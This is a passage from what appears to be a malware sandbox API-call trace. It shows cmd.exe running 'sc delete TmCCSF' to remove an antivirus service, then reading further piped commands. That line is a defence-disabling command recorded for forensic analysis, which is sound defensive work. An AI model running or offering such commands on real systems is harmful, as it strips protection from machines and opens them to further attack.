TmCCSF\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmCCSF\n", lpUsedDefaultChar=0x0) returned 18 [0079.292] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x11, lpOverlapped=0x0) returned 1 [0079.292] GetProcessHeap () returned 0x240000 [0079.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0079.292] GetProcessHeap () returned 0x240000 [0079.292] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0079.292] GetProcessHeap () returned 0x240000 [0079.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0079.292] GetProcessHeap () returned 0x240000 [0079.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0079.292] GetProcessHeap () returned 0x240000 [0079.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2e) returned 0x256510 [0079.293] GetConsoleOutputCP () returned 0x1b5 [0079.293] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.293] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.293] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.293] GetProcessHeap () returned 0x240000 [0079.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0079.293] GetProcessHeap () returned 0x240000 [0079.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x34) returned 0x256550 [0079.293] GetProcessHeap () returned 0x240000 [0079.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0079.293] SetErrorMode (uMode=0x0) returned 0x1 [0079.294] SetErrorMode (uMode=0x1) returned 0x0 [0079.294] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0079.294] SetErrorMode (uMode=0x1) returned 0x1 [0079.294] GetProcessHeap () returned 0x240000 [0079.294] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0079.294] GetProcessHeap () returned 0x240000 [0079.294] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0079.294] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.294] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0079.294] GetProcessHeap () returned 0x240000 [0079.294] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0079.294] GetProcessHeap () returned 0x240000 [0079.294] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0079.294] GetProcessHeap () returned 0x240000 [0079.294] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0079.294] GetProcessHeap () returned 0x240000 [0079.294] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0079.294] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.294] GetProcessHeap () returned 0x240000 [0079.294] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0079.294] GetProcessHeap () returned 0x240000 [0079.294] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0079.294] GetProcessHeap () returned 0x240000 [0079.295] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0079.295] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.295] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.295] GetLastError () returned 0x2 [0079.295] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.295] GetLastError () returned 0x2 [0079.295] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.295] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.295] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.296] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.296] GetLastError () returned 0x2 [0079.296] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.296] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.296] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.296] GetProcessHeap () returned 0x240000 [0079.296] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0079.296] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.296] GetProcessHeap () returned 0x240000 [0079.296] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x9a) returned 0x259180 [0079.297] GetProcessHeap () returned 0x240000 [0079.297] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x9a [0079.297] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmCCSF") returned 1 [0079.297] GetProcessHeap () returned 0x240000 [0079.297] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0079.297] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0079.297] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0079.298] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0079.298] GetProcessHeap () returned 0x240000 [0079.298] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0079.298] GetProcessHeap () returned 0x240000 [0079.298] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0079.298] GetProcessHeap () returned 0x240000 [0079.298] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0079.298] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmCCSF", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmCCSF", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete TmCCSF", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x84c, dwThreadId=0x87c)) returned 1 [0079.302] CloseHandle (hObject=0x54) returned 1 [0079.302] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.302] GetProcessHeap () returned 0x240000 [0079.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.302] GetEnvironmentStringsW () returned 0x25ba10* [0079.302] GetProcessHeap () returned 0x240000 [0079.302] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0079.302] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0079.302] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0079.302] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0079.303] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0079.348] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0079.348] CloseHandle (hObject=0x50) returned 1 [0079.349] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0079.349] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0079.349] GetProcessHeap () returned 0x240000 [0079.349] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0079.349] GetEnvironmentStringsW () returned 0x261b10* [0079.349] GetProcessHeap () returned 0x240000 [0079.349] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0079.349] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.349] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0079.349] GetProcessHeap () returned 0x240000 [0079.349] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.349] GetEnvironmentStringsW () returned 0x25ba10* [0079.349] GetProcessHeap () returned 0x240000 [0079.349] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0079.349] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0079.349] GetProcessHeap () returned 0x240000 [0079.349] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0079.349] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0079.349] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.350] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.350] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0079.350] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.350] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0079.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.350] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0079.350] GetConsoleOutputCP () returned 0x1b5 [0079.350] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.350] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.350] GetProcessHeap () returned 0x240000 [0079.350] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0079.351] GetProcessHeap () returned 0x240000 [0079.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0079.351] GetProcessHeap () returned 0x240000 [0079.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0079.351] GetProcessHeap () returned 0x240000 [0079.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0079.351] GetProcessHeap () returned 0x240000 [0079.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0079.351] GetProcessHeap () returned 0x240000 [0079.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0079.351] GetProcessHeap () returned 0x240000 [0079.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0079.351] GetProcessHeap () returned 0x240000 [0079.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0079.351] GetProcessHeap () returned 0x240000 [0079.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0079.351] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0079.351] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.351] GetFileType (hFile=0x120) returned 0x3 [0079.351] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.351] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0079.351] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.351] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.351] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.351] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0079.351] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.351] GetFileType (hFile=0x120) returned 0x3 [0079.351] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.351] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0079.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.352] GetFileType (hFile=0xb8) returned 0x3 [0079.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.353] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.353] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.353] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.353] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.353] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="tmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.353] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="mCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.354] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="lCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.354] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="iSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.354] 